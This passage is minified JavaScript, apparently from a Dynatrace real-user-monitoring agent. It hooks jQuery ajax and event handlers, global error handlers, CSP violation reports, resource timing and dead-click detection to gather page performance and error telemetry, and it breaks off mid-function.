(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(aa){var qa=!1,V=-1;if(0===aa.length)aa={};else if(1===aa.length)if("object"===typeof aa[0])aa=aa[0];else{var pa=aa[0];aa={}}else"object"===typeof aa[0]?(aa=aa[0],V=1):"object"===typeof aa[1]?(qa=!0,pa=aa[0],aa=aa[1],V=2):(pa=aa[0],aa={});return{Hh:aa,url:pa,Ph:qa,Dh:V}}function La(){function aa(){if(!lb){var Ha=S.dT_.nw();lb=!0;S.dT_.st(function(){S.dT_.lx(Ab,
jb,!1,Ha)},0)}}var qa=Array.prototype.slice.call(arguments),V=ra(qa),pa=V.Hh,Va=V.url,nb=V.Ph;V=V.Dh;var lb=!1;pa.dT_depth=0;var jb=gb(Va,pa),Ab=S.dT_.ex("j"+Q,3,jb),gc=pa.beforeSend;pa.beforeSend=function(Ha,yb){yb=S.dT_.sch(yb,jb,Ab);var vb=Ha,ca=yb;if("undefined"!==typeof vb)for(var Oa in ca.headers)if(S.dT_.oHOP(ca.headers,Oa))try{vb.setRequestHeader(Oa,String(ca.headers[Oa]))}catch(Za){}if(gc){vb=void 0;try{vb=ib.beforeSend(gc,this,arguments)}catch(Za){throw"TypeError"===Za.name&&aa(),Za;}return vb}};
Va=[];nb&&Va.push(jb);Va.push(pa);if(-1!==V)for(nb=V;nb<qa.length;nb++)Va.push(qa[nb]);db(pa,"complete",Ab,aa,!0);db(pa,"success",Ab,aa,!1);db(pa,"error",Ab,aa,!1);qa=!0;try{var Vb=ib.ajax(eb.ajax,this,Va,Ab,jb,"j");try{qa=Vb&&Vb.statusText&&"canceled"===Vb.statusText||!1===Vb}catch(Ha){qa=!1}}finally{pa.dT_depth--,qa&&aa()}Ea(Vb,"always",Ab,aa,jb);Ea(Vb,"complete",Ab,aa,jb);Ea(Vb,"done",Ab,aa,jb);Ea(Vb,"fail",Ab,aa,jb);Ea(Vb,"error",Ab,aa,jb);return Vb}function gb(aa,qa){var V=va.jQuery?va.jQuery.ajaxSettings:
{},pa,Va;for(Va in V)S.dT_.oHOP(V,Va)&&"undefined"===typeof qa[Va]&&("function"===typeof V[Va]&&"jsonpCallback"!==Va?qa[Va]=V[Va]:"url"===Va&&(pa=V[Va]));"string"===typeof aa&&(qa.url=aa);"string"===typeof qa.success&&(qa.success=!1);aa=String(qa.url||pa);"undefined"===aa&&(aa=location.href);return aa}function db(aa,qa,V,pa,Va){if(Va||aa[qa]){var nb=aa[qa];aa[qa]=function(){S.dT_.ec(V);"error"===qa&&S.dT_.mx()&&Ua(arguments[0],arguments[1],arguments[2],V);var lb=!1;try{if("function"===typeof nb)var jb=
ib.onComplete(nb,this,arguments);else if(nb&&nb.length)for(var Ab=0;Ab<nb.length;Ab++)ib.onComplete(nb[Ab],this,arguments)}catch(gc){throw lb=!0,gc;}finally{S.dT_.lc(V),("complete"===qa||lb)&&pa()}return jb}}else S.dT_.mx()&&"error"===qa&&(aa[qa]=function(lb,jb,Ab){Ua(lb,jb,Ab,V)})}function Ea(aa,qa,V,pa,Va){if(aa){var nb=aa[qa];nb&&(aa[qa]=function(){for(var lb=[],jb=0;jb<arguments.length;jb++)lb[jb]=arguments[jb];var Ab=lb[0];lb=lb.slice();"function"===typeof Ab&&(lb[0]=function(){S.dT_.ec(V);try{return ib.promiseCallback(Ab,
this,arguments,V,Va,"j")}finally{S.dT_.lc(V),pa()}});return nb.apply(aa,lb)})}}function Ua(aa,qa,V,pa){try{"timeout"===qa?S.dT_.mxt(pa):"abort"===qa?S.dT_.mxc(pa):"parsererror"===qa?(S.dT_.mxp(V&&"object"===typeof V?V.message:"Parser Error",pa),S.dT_.rex(V,void 0,!1,"3")):"object"===typeof V?(S.dT_.mxf(aa.status,V.message||aa.statusText||qa,pa),S.dT_.rex(V,void 0,!1,"3")):S.dT_.mxf(aa.status,V||aa.statusText||qa,pa)}catch(Va){S.dT_.mxu(Va.message,pa)}}function Pa(aa){var qa=!Hb[aa];aa=Hb[aa]&&Hb[aa].Qa;
var V=S.dT_.scv("doNotDetect").split(",");if(aa&&V)for(var pa=0;pa<V.length;pa++)if(V[pa]===aa)return!0;return qa}function za(aa,qa){function V(Va){var nb=S.dT_.gci();if(0===pa.indexOf("KD")||0===pa.indexOf("KU")){var lb=Va.keyCode||Va.charCode;lb&&(pa=0===pa.indexOf("KD")?"KD"+lb:"KU"+lb)}if(lb=Va.target||Va.currentTarget||Va.srcElement||null){var jb=Va.isTrigger||!Va.originalEvent||!1===Va.originalEvent.isTrusted;nb||S.dT_.bcv("ote")&&jb||S.dT_.bi(lb,pa);jb=ib.generateWrapper(aa,this,arguments)}return jb}
var pa=Hb[qa]&&Hb[qa].Oa;if(!aa||Pa(qa))return aa;V.dtHook=!0;V.origHandler=aa;return V}function ab(aa){var qa=aa&&aa.handler;qa&&!qa.dtHook&&(aa.handler=za(qa,aa.type))}function ba(aa,qa){if(aa=aa[qa])for(qa=0;qa<aa.length;qa++)ab(aa[qa])}function Z(aa,qa,V){var pa=ib.data(eb.data,this,arguments);"undefined"!==typeof pa&&pa&&"events"===qa&&(ba(pa,"click"),ba(pa,"mouseup"),ba(pa,"mousedown"),ba(pa,"keydown"),ba(pa,"autocomplete"));return pa}function Aa(aa,qa){if(qa)for(var V=0,pa=qa;V<pa.length;V++)ab(pa[V]);
if(V=eb.handlers)return ib.eventHandler(V,this,arguments);if(Ka&&Ka.event.handlers&&Ka.event.handlers!==Aa)return ib.eventHandler(Ka.event.handlers,this,arguments)}function na(){var aa=S.dT_.cA(arguments);3===aa.length&&aa[2]&&"undefined"!==typeof aa[2].origHandler&&(aa[2]=aa[2].origHandler);return ib.off(eb.off,this,aa)}function ta(aa,qa,V){if(aa[qa]&&aa[qa]!==eb[qa]){if(L[qa])L[qa]();var pa=aa[qa];eb[qa]=aa[qa];var Va=!1;L[qa]=function(){Va=!0};aa[qa]=function(){return Va?ib.wrapperExecutor(pa,
this,arguments):ib.wrapperExecutor(V,this,arguments)}}}function Ma(){if(va.jQuery){Ka=va.jQuery;S.dT_.rpl(Ka,"data","j");S.dT_.rpl(Ka,"ajax","j");Q=Ka.fn.jquery||"0.0";var aa=Ka.migrateVersion;-1===S.dT_.aIOf(ia,Q)&&ia.push(Q);aa&&-1===S.dT_.aIOf(W,aa)&&W.push(aa);"undefined"===typeof H&&(aa=Q.split("."),H=S.dT_.cvs("1.3 1.4 1.5 1.6 1.6 1.7 1.8 1.9 1.10 1.11 1.12 2.0 2.1 2.2 3.0 3.1 3.2 3.3 3.4 3.5 3.6".split(" "),aa[0],aa[1],"jQuery"));H&&(ta(Ka,"ajax",La),S.dT_.ti(),ta(Ka,"data",Z),Ka.event&&ta(Ka.event,
"handlers",Aa),ta(Ka.fn,"off",na),la||(la=!0,S.dT_.ael(va,"unload",fa)))}}function Ja(){var aa=va.jQuery;aa&&aa.data&&aa.ajax&&Ma()}function fa(){var aa,qa;C||("undefined"!==typeof Ka&&(L.ajax&&L.ajax(),L.data&&L.data(),L.handlers&&L.handlers(),L.off&&L.off()),L=(aa={},aa.ajax=void 0,aa.handlers=void 0,aa.off=void 0,aa.data=void 0,aa),eb=(qa={},qa.ajax=void 0,qa.handlers=void 0,qa.off=void 0,qa.data=void 0,qa),C=!0);ia=[];W=[]}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?
window:self,ja,U,eb,L,C=!1,H,Q,ia,W,la=!1,ua=!1,Ka,Hb={click:{Oa:"C",Qa:"clk"},dblclick:{Oa:"CC",Qa:"dcl"},mouseup:{Oa:"U",Qa:"mup"},mousedown:{Oa:"D",Qa:"mdw"},keyup:{Oa:"KU",Qa:"kyu"},keydown:{Oa:"KD",Qa:"kyd"},scroll:{Oa:"S",Qa:"scr"},touchstart:{Oa:"TS",Qa:"tcs"},touchend:{Oa:"TE",Qa:"tce"},autocomplete:{Oa:"A",Qa:""}},ib=(ja={},ja.beforeSend=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.wrapperExecutor=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.onComplete=function(aa,qa,V){return U.aWF(aa,qa,
V)},ja.ajax=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja.generateWrapper=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.data=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.eventHandler=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.off=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.promiseCallback=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja);(function(){var aa,qa;U=va.dT_;ua=la=C=!1;eb={};L={};ia=[];W=[];return U&&(null===(qa=(aa=S.dT_).smbi)||void 0===qa?0:qa.call(aa,"j"))?
(S.dT_.afpl(va,"jQuery",null,function(){va.jQuery&&!va.jQuery.ajax?ua||(S.dT_.afpl(va.jQuery,"ajax",null,Ja,"j"),S.dT_.afpl(va.jQuery,"data",null,Ja,"j"),ua=!0):Ma()},"win"),S.dT_.addE("LOAD_END",Ja),S.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"fv",text:"jQuery: ["+ia+"]"+(W.length?", jQueryMigrate: ["+W+"]":""),severity:"Info"}}),!0):!1})()&&(U.initJQuery=Ma)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(H,Q,ia,W,la){var ua,Ka=!1;if(!va&&!S){S=!0;try{try{fa&&fa!==ra&&"function"===typeof fa&&(Ka=fa(H,Q,ia,W,la))}catch(Hb){na.dT_.rex(Hb,void 0,!0,"1")}Ka||na.dT_.re((ua={},ua.msg="string"===typeof H?H:"",ua.file=Q||"",ua.line=ia||-1,ua.column=W||-1,ua.error=la||"",ua.stackContainsWrapper=!1,ua.source="1",ua))}catch(Hb){}S=!1}return Ka}function La(H,Q,
ia){H[Q]=ia(H[Q])}function gb(H){try{if(!Ea(H))return H;var Q=H.dtwid;"number"===typeof Q&&U[Q]?U[Q].Ce++:(U[eb]={Da:H,Ce:1},H.dtwid=eb++);H.rxewrapper=H.rxewrapper||function(ia){if(ja)try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw na.dT_.rex(W,void 0,!0,"1"),db(),W;}else try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw W;}};return H.rxewrapper.rxewrapper=H.rxewrapper}catch(ia){return H}}function db(){va+=
1;na.dT_.st(function(){--va},0)}function Ea(H){return"[object Function]"===Object.prototype.toString.call(H)}function Ua(){var H=document.getElementsByTagName("html");(0===H.length||0<H.length&&!H[0].hasAttribute||0<H.length&&!H[0].hasAttribute("webdriver"))&&"EventTarget Window ModalWindow".replace(/\w+/g,function(Q){(Q=ta[Q]&&ta[Q].prototype)&&na.dT_.oHOP(Q,"addEventListener")&&(La(Q,"addEventListener",function(ia){return function(W,la,ua,Ka){la&&la.handleEvent&&(la.handleEvent=gb(la.handleEvent));
return ia.call(this,W,gb(la),ua,Ka)}}),La(Q,"removeEventListener",function(ia){return function(W,la,ua,Ka){try{return ia.call(this,W,la&&la.rxewrapper?la.rxewrapper:la,ua,Ka)}finally{la&&(W=la.dtwid,"number"===typeof W&&U[W]&&U[W].Da===la&&(U[W].Ce--,U[W].Ce||(delete la.rxewrapper,delete la.dtwid,delete U[W])))}}}));return""})}function Pa(){Ja=ta.dT_;if(!na.dT_.bcv("doel")){ta.onerror!==ra&&(Ja.rxehandler=ra,ta.onerror&&(fa=ta.onerror),ta.onerror=Ja.rxehandler);try{na.dT_.apl(ta,"onerror",function(){return ra},
function(H){fa=H})}catch(H){}na.dT_.ael(ta,"unload",function(){na.dT_.rpl(ta,"onerror","win");ta.onerror=null;for(var H in U)na.dT_.oHOP(U,H)&&(delete U[H].Da.rxewrapper,delete U[H].Da.dtwid);U={}});if(!ta.atob)ja=!1;else if(ta.ErrorEvent)try{0===(new ta.ErrorEvent("test")).colno&&(ja=!1)}catch(H){}ja&&Ua()}}function za(){for(var H=[],Q=0;Q<arguments.length;Q++)H[Q]=arguments[Q];var ia,W;for(Q=0;Q<H.length;Q++){var la=H[Q];!ia&&na.dT_.iIO(la,7)&&(ia=la);!W&&la&&"string"===typeof la&&(W=la)}(ia||W)&&
na.dT_.rex(ia||W,void 0,!1,"2");return C.apply(this,H)}function ab(H){var Q;if(Q="string"===typeof H.blockedURL&&"string"===typeof H.documentURL&&H.blockedURL&&H.documentURL){Q=H.blockedURL;var ia=na.dT_.scv("reportUrl"),W=void 0;void 0===W&&(W=0);var la=-1;ia&&(null===Q||void 0===Q?0:Q.indexOf)&&(la=Q.indexOf(ia,W));Q=-1===la}if(Q){Q=[];for(var ua in H)H[ua]&&"function"!==typeof H[ua]&&Q.push([String(ua),String(H[ua])]);Q.length&&na.dT_.cAE("_csprv_",Q,!0,void 0,1)}}function ba(H){var Q;"securitypolicyviolation"===
H.type&&ab((Q={},Q.sourceFile=H.sourceFile,Q.blockedURL=H.blockedURI,Q.documentURL=H.documentURI,Q.referrer=H.referrer,Q.disposition=H.disposition,Q.effectiveDirective=H.effectiveDirective||H.violatedDirective,Q.originalPolicy=H.originalPolicy,Q.statusCode=H.statusCode,Q.lineNumber=H.lineNumber,Q.columnNumber=H.columnNumber,Q.sample=H.sample,Q))}function Z(H){for(var Q=0;Q<H.length;Q++){var ia=H[Q];"csp-violation"===ia.type&&(ia=ia.body)&&ab(ia)}}function Aa(H){H.reason&&na.dT_.iIO(H.reason,7)?na.dT_.rex(H.reason,
void 0,!0,"4"):H.detail&&na.dT_.iIO(H.detail.reason,7)&&na.dT_.rex(H.detail.reason,void 0,!0,"4")}var na="undefined"!==typeof window?window:self,ta="undefined"!==typeof window?window:self,Ma,Ja,fa,S=!1,va=0,ja=!0,U={},eb=0,L=(Ma={},Ma.errorCallback=function(H,Q,ia,W,la,ua){return Ja.aWF(H,Q,ia,W,la,ua)},Ma),C;(function(){var H,Q;if(ta.dT_&&(null===(Q=(H=na.dT_).smbi)||void 0===Q?0:Q.call(H,"q"))&&(Pa(),na.dT_.bcv("lupr")&&na.dT_.ael(ta,"unhandledrejection",Aa),na.dT_.bcv("csprv")&&(ta.ReportingObserver?
(new ta.ReportingObserver(Z,{buffered:!0,types:["csp-violation"]})).observe():na.dT_.gBI().ff&&na.dT_.ael(document,"securitypolicyviolation",ba)),na.dT_.bcv("cce"))){var ia;null!==(ia=ta.console)&&void 0!==ia&&ia.error&&(C=ta.console.error,ta.console.error=za)}})()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(t,y,Y,x){function oa(R){return R instanceof Y?R:new Y(function(O){O(R)})}return new (Y||(Y=ra))(function(R,O){function wa(Eb){try{Wa(x.next(Eb))}catch(Lb){O(Lb)}}function Ga(Eb){try{Wa(x["throw"](Eb))}catch(Lb){O(Lb)}}function Wa(Eb){Eb.done?R(Eb.value):oa(Eb.value).then(wa,Ga)}Wa((x=x.apply(t,y||[])).next())})}function gb(t,
y){function Y(Wa){return function(Eb){return x([Wa,Eb])}}function x(Wa){if(R)throw new TypeError("Generator is already executing.");for(;oa;)try{if(R=1,O&&(wa=Wa[0]&2?O["return"]:Wa[0]?O["throw"]||((wa=O["return"])&&wa.call(O),0):O.next)&&!(wa=wa.call(O,Wa[1])).done)return wa;if(O=0,wa)Wa=[Wa[0]&2,wa.value];switch(Wa[0]){case 0:case 1:wa=Wa;break;case 4:return oa.label++,{value:Wa[1],done:!1};case 5:oa.label++;O=Wa[1];Wa=[0];continue;case 7:Wa=oa.Ja.pop();oa.ia.pop();continue;default:if(!(wa=oa.ia,
wa=0<wa.length&&wa[wa.length-1])&&(6===Wa[0]||2===Wa[0])){oa=0;continue}if(3===Wa[0]&&(!wa||Wa[1]>wa[0]&&Wa[1]<wa[3]))oa.label=Wa[1];else if(6===Wa[0]&&oa.label<wa[1])oa.label=wa[1],wa=Wa;else if(wa&&oa.label<wa[2])oa.label=wa[2],oa.Ja.push(Wa);else{wa[2]&&oa.Ja.pop();oa.ia.pop();continue}}Wa=y.call(t,oa)}catch(Eb){Wa=[6,Eb],O=0}finally{R=wa=0}if(Wa[0]&5)throw Wa[1];return{value:Wa[0]?Wa[1]:void 0,done:!0}}var oa={label:0,J:function(){if(wa[0]&1)throw wa[1];return wa[1]},ia:[],Ja:[]},R,O,wa,Ga;return Ga=
{next:Y(0),"throw":Y(1),"return":Y(2)},"function"===typeof Symbol&&(Ga[Symbol.iterator]=function(){return this}),Ga}function db(t,y){void 0===y&&(y=0);return t.name+"_"+(t.startTime+y)+"_"+t.duration}function Ea(){try{performance.getEntries()[0].dt_test=!0,Va=performance.getEntries()[0].dt_test,nb=function(){return!!Va}}catch(t){}}function Ua(){pa=V.dT_;nb=qa.dT_.gBI().sf?function(){return!1}:function(){Ea();return!!Va}}function Pa(){function t(){}if(!Ab)return!1;Vb=Ab.getEntriesByType;Ha=Ab.getEntriesByName;
gc=Ab.setResourceTimingBufferSize;(yb=Ab.clearResourceTimings)&&(Ab.clearResourceTimings=t);Ab.webkitClearResourceTimings&&(Ab.webkitClearResourceTimings=t);return!!Vb&&!!Ha&&!!gc&&!!yb}function za(t){"function"===typeof Ab.addEventListener?Ab.addEventListener("resourcetimingbufferfull",t):"undefined"!==typeof Ab.onresourcetimingbufferfull&&(vb=Ab.onresourcetimingbufferfull,Ab.onresourcetimingbufferfull=t)}function ab(){try{"function"===typeof vb&&vb.call(Ab,new Event("resourcetimingbufferfull",{bubbles:!0,
cancelable:!0})),qa.dT_.st(function(){yb.call(Ab)},0)}catch(t){}}function ba(){Ab=V.performance;var t=Pa();t&&gc.call(Ab,1E3);return t}function Z(t){var y=t.detail;t=y.a;if(y=y.e)for(var Y=0;Y<y.length;Y++){var x=y[Y],oa=x.url;if(oa){var R=x.relevance||0;x={Ub:x.area,imageWidth:x.w,imageHeight:x.h,he:x.nw,ge:x.nh,gg:x.o,De:R,hh:x.ireason||0,G:t||0};if(!ca[oa]||R>ca[oa].De)ca[oa]=x}}}function Aa(t){return!!t&&isFinite(t)&&0<t}function na(t){var y=ca[t.name];"undefined"!==typeof y?(t.relevantArea=y.Ub,
t.relevance=y.De,t.vcIrrelevanceReason=y.hh,y.gg&&(t.onloadTime=y.gg-Math.round(t.startTime)-qa.dT_.gto()),Aa(y.imageWidth)&&Aa(y.imageHeight)&&(t.imageWidth=y.imageWidth,t.imageHeight=y.imageHeight),Aa(y.he)&&y.he!==y.imageWidth&&(t.imageNaturalWidth=y.he),Aa(y.ge)&&y.ge!==y.imageHeight&&(t.imageNaturalHeight=y.ge),delete ca[t.name]):t.relevance=0}function ta(){return Za}function Ma(t){ka[db(t)]=t}function Ja(t){$a[db(t)]=t}function fa(t,y,Y){return{get:function(){var x=Number(t[Y]);return isNaN(x)?
y:x+y}}}function S(t,y){function Y(wa){wa in t&&(oa[wa]={get:function(){return t[wa]}})}if(0>=y)return t;var x=ka[db(t,y)];if(x)return x;for(var oa={},R=0,O=Cb;R<O.length;R++)x=O[R],oa[x]=fa(t,y,x);y=0;for(R=bd;y<R.length;y++)x=R[y],Y(x);x=Object.create(t,oa);x._dtCl=!0;Ma(x);return x}function va(){var t=[],y=document.getElementsByTagName("iframe");if(!y.length)return t;for(var Y=0;Y<y.length;Y++){var x=y[Y];try{var oa=t,R=oa.concat;var O=void 0,wa=x.contentWindow;b:{for(var Ga=0;Ga<Oa.length;Ga++)if(x===
Oa[Ga]){var Wa=Ga;break b}var Eb=Oa.length;Oa.push(x);"undefined"!==typeof x.src&&(Za[x.src]=Eb);Wa=Eb}if(wa.dT_)var Lb=[];else{x=[];var Nb=wa.performance.getEntriesByType("resource"),ac=Ab.timeOrigin;O=ac?wa.performance.timeOrigin-ac:wa.performance.timing.navigationStart-Ab.timing.navigationStart;O=Math.round(O);for(Ga=0;Ga<Nb.length;Ga++){var rc=S(Nb[Ga],O);I[db(rc)]||(rc.frameId=Wa,x.push(rc))}Lb=x}t=R.call(oa,Lb)}catch(mc){}}return t}function ja(){var t=[],y=Vb.call(Ab,"resource"),Y=nb(),x;if(V.frames&&
V.frames.length){for(var oa=[],R=0;R<V.frames.length;R++)try{var O=V.frames[R];O.dT_&&(null===(x=null===O||void 0===O?void 0:O.location)||void 0===x?0:x.href)&&oa.push(O.location.href)}catch(wa){}x=oa}else x=[];for(oa=0;oa<y.length;oa++){R=y[oa];Y||((O=$a[db(R)])?R=O:Ja(R));if(!(O=I[db(R)]))a:{if(("iframe"===R.initiatorType||"subdocument"===R.initiatorType)&&x.length)for(O=0;O<x.length;O++)if(x[O]===R.name){O=!0;break a}O=!1}O||t.push(R)}return t}function U(t,y){if("text/css"===y.type){var Y=y.href||
"";var x=y.ownerNode;y=x&&x.nodeType&&1===x.nodeType?y.ownerNode:null}else Y=y.src;Y&&y&&(t[Y]=y);return t}function eb(t,y){return y.G!==t&&!y.zg}function L(t,y,Y,x,oa,R){return function(O){var wa=pa;if(!I[db(O)])try{var Ga=O.name,Wa=(O.workerNavigationStart||qa.dT_.gto())+O.startTime,Eb=O.name,Lb;if(!(Lb=-1<Eb.indexOf(qa.dT_.scv("csu"))||-1<Eb.indexOf("ampbf")&&-1<Eb.indexOf("flavor=amp"))){var Nb=Eb.indexOf,ac=qa.dT_.scv("reportUrl");lb&&ac===jb||(jb=ac,lb=qa.dT_.tau(jb));Lb=-1!==Nb.call(Eb,lb)}if(!(Lb||
O.startTime>O.responseEnd||0>O.startTime)&&wa.tpih&&wa.tpih(Ga)){wa=Wa-t;var rc=ca[O.name],mc=O.Rg||Infinity;mc=oa?Infinity:mc;Ga=pa;if(t<=Wa&&Wa<=y+(Ga.syn?1E3:qa.dT_.ncv("rtt"))&&mc>=wa||rc&&rc.G===Number(Y)&&0<rc.De){var Oc;if(Oc=x){var Kc=O.name;Wa=void 0;void 0===Wa&&(Wa=0);rc=-1;x&&(null===Kc||void 0===Kc?0:Kc.indexOf)&&(rc=Kc.indexOf(x,Wa));Oc=-1<rc}Kc=3;oa?Kc=1:Oc&&(Kc=2);O.Yf&&3!==O.Yf||(O.Rg=wa,O.Yf=Kc,O.qg=R,O.actionId=Y)}}}catch(gd){}}}function C(t,y,Y){return La(this,void 0,void 0,function(){var x,
oa,R;return gb(this,function(O){switch(O.label){case 0:q=qa.dT_.aFr(q,eb.bind(null,t)),x=0,oa=q,O.label=1;case 1:if(!(x<oa.length))return[3,4];R=oa[x];return[4,H(R,R.start,y,!1,Y)];case 2:O.J(),R.zg=!0,O.label=3;case 3:return x++,[3,1];case 4:return[2]}})})}function H(t,y,Y,x,oa){var R=t.G,O=t.sg,wa=t.xhrUrl,Ga=t.start;return La(this,void 0,void 0,function(){var Wa,Eb,Lb,Nb;return gb(this,function(ac){switch(ac.label){case 0:return Wa=qa.dT_.lAID(),Eb=R===Wa,Lb=L(Ga,y,R,wa,Eb,O),[4,qa.dT_.fEP(oa,
Lb,void 0,!Y)];case 1:ac.J();if(!x)return[2];Nb=Qb[O];Nb.count--;!Nb.count&&0<=Nb.ad.indexOf(O)&&qa.dT_.sMPS(1);return[2]}})})}function Q(){for(var t=0,y=qa.dT_.oK(Zb);t<y.length;t++){var Y=Zb[Number(y[t])];qa.dT_.ct(Y.ra);Y.kb(!0)}Zb={}}function ia(t,y,Y,x){var oa=Qb[Y];oa||(oa={count:0,ad:[]});oa.count++;oa.ad.push(t);Qb[Y]=oa;q.push({G:t,start:y,sg:Y,xhrUrl:x,zg:!1})}function W(){Qb={};Zb={};q=[];var t=qa.dT_.lAID();ia(t,qa.dT_.lst(),t);qa.dT_.addE("ACTION_ENTERED",la);qa.dT_.addE("ACTION_SENT",
ua)}function la(t){var y=t.detail;t=y.x;var Y=y.i,x=y.a,oa=y.r;-1===qa.dT_.aIOf(D,y.t)&&(y=qa.dT_.lAID(),oa===y&&oa!==Y||ia(Y,x,oa,t))}function ua(t){return La(this,void 0,void 0,function(){function y(ac){return La(this,void 0,void 0,function(){var rc;return gb(this,function(mc){switch(mc.label){case 0:return rc=Array.prototype.concat(va(),ja(),Ba),[4,C(R,!0,rc)];case 1:return mc.J(),[4,H({G:R,sg:Wa,xhrUrl:x,start:O},wa,ac,!0,rc)];case 2:return mc.J(),[2]}})})}var Y,x,oa,R,O,wa,Ga,Wa,Eb,Lb,Nb;return gb(this,
function(ac){switch(ac.label){case 0:Y=t.detail;x=Y.x;oa=Y.t;R=Y.i;O=Y.a;wa=Y.s;Ga=Y.f;Wa=Y.r;(Eb=Y.rt)&&Ja(Eb);if(-1!==qa.dT_.aIOf(D,oa))return[2];Lb=qa.dT_.lAID();return Wa===Lb&&Wa!==R?[2]:Ga?[4,y(Ga)]:[3,2];case 1:return ac.J(),[3,3];case 2:Nb=qa.dT_.st(function(){delete Zb[R];y(Ga)},2E3),Zb[R]={ra:Nb,kb:y},ac.label=3;case 3:return[2]}})})}function Ka(t){var y;if(y="number"===typeof t.qg){var Y;y=0===(null===(Y=Qb[t.qg])||void 0===Y?void 0:Y.count)}return y}function Hb(t){var y=[],Y=0,x=[];for(O in Qb){var oa;
if(oa=qa.dT_.oHOP(Qb,O)){oa=Number(O);var R=Qb[oa];oa=!Zb[oa]&&(!R||!R.count&&0<=R.ad.indexOf(oa))}oa&&x.push.apply(x,Qb[O].ad)}for(;Y<x.length;Y++){var O=Number(x[Y]);R=oa=t[O]||[];var wa=O,Ga=pa;if(!Ga.syn&&Ga.gLVD){var Wa=0;for(wa=Ga.gUI(wa);Wa<wa.length;Wa++){Ga=wa[Wa];for(var Eb=!1,Lb=0,Nb=R;Lb<Nb.length;Lb++){var ac=Nb[Lb];if(!ac.failedResource&&ac.name===Ga.name){ac.failedResource=Ga.failedResource;Eb=!0;break}}Eb||(na(Ga),qa.dT_.apush(R,Ga))}}y.push({resources:oa,actionId:O});delete Qb[O]}return y}
function ib(t){t&&Q();t=qa.dT_.aFr(Array.prototype.concat(va(),ja(),Ba),Ka);var y=qa.dT_.red(Array.prototype.concat(Array.prototype.slice.call(document.scripts),Array.prototype.slice.call(document.styleSheets)),U,{});t=qa.dT_.red(t,function(Y,x){var oa=x.actionId,R=Y[oa];R||(R=[]);var O=y[x.name];if(O){var wa=Number;if(O&&"LINK"===O.nodeName){var Ga=O.media||"all";O="stylesheet"===O.rel&&window.matchMedia(Ga).matches&&!O.disabled}else O=!O.hasAttribute("async")&&!O.hasAttribute("defer")&&"module"!==
O.getAttribute("type");x.isCritical=wa(O)}na(x);R.push(x);Y[oa]=R;I[db(x)]=!0;return Y},{});t=Hb(t);900<Vb.call(Ab,"resource").length&&(ab(),I={},ka={},$a={},Ba=[],ca={});return t}function aa(){var t=pa;t.gSig=ib;t.gFU=ta}var qa="undefined"!==typeof window?window:self,V="undefined"!==typeof window?window:self,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca={},Oa=[],Za={},I={},ka={},Ba=[],$a={},Cb="connectEnd connectStart domainLookupEnd domainLookupStart fetchStart redirectEnd redirectStart requestStart responseEnd responseStart secureConnectionStart startTime workerStart".split(" "),
bd="name duration transferSize decodedBodySize encodedBodySize entryType initiatorType nextHopProtocol serverTiming transferSize".split(" "),Qb={},Zb={},q=[],D="_error_ _ts_ _code_ _debug_ _emu_ _location_ _stack_ _useraction_ _type_ _log_ _rs_ _rv_ _endVisit_ - _t_".split(" ");(function(t){var y,Y,x=V.dT_;if(!x||null===(Y=(y=qa.dT_).ssmbi)||void 0===Y||!Y.call(y,"r",t,!0))return!1;if(V.Sh)return x.re_r=!1;Ua();x.re_r=ba();if(!x.re_r)return!1;W();Za={};Oa=[];ca={};I={};ka={};$a={};Ba=[];za(function(){Ba=
ja()});qa.dT_.addE("VISUALLY_COMPLETE",Z);return!0})(!1)&&aa()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(ib){S.dT_.addE&&S.dT_.addE("CONFIG_UPDATE",ib)}function La(){(ja=S.dT_.bcv("uxdce"))&&(U=S.dT_.ncv("uxdcw"))}function gb(){(L=S.dT_.aO("deadClickObserver",Ua))&&L.observe(document.documentElement,{childList:!0,attributes:!0,characterData:!0,subtree:!0});L&&(S.dT_.aBPSL(Ea),S.dT_.ael(document,"click",db),H=!0)}function db(){var ib=S.dT_.nw();S.dT_.st(function(){eb<
ib&&(C.push({time:Math.round(ib)}),S.dT_.sMPS(2E3))},U)}function Ea(ib,aa,qa,V){if(0!==C.length){aa=ib.av;qa=C;for(var pa=[],Va=0;Va<qa.length;Va++)pa.push(qa[Va].time.toFixed());aa.call(ib,V,"dC",pa.join(","),!0);C=[]}}function Ua(ib){for(var aa=ib.length;aa--;){var qa=ib[aa].target,V=qa,pa=void 0,Va=V,nb=9;void 0===nb&&(nb=[]);var lb=va.dT_;if(lb=(!(null===(pa=(null===lb||void 0===lb?0:lb.iIO)?lb.iIO:null)||void 0===pa||!pa(Va,nb))||V&&V.nodeType&&1===V.nodeType)&&("string"===typeof V.textContent||
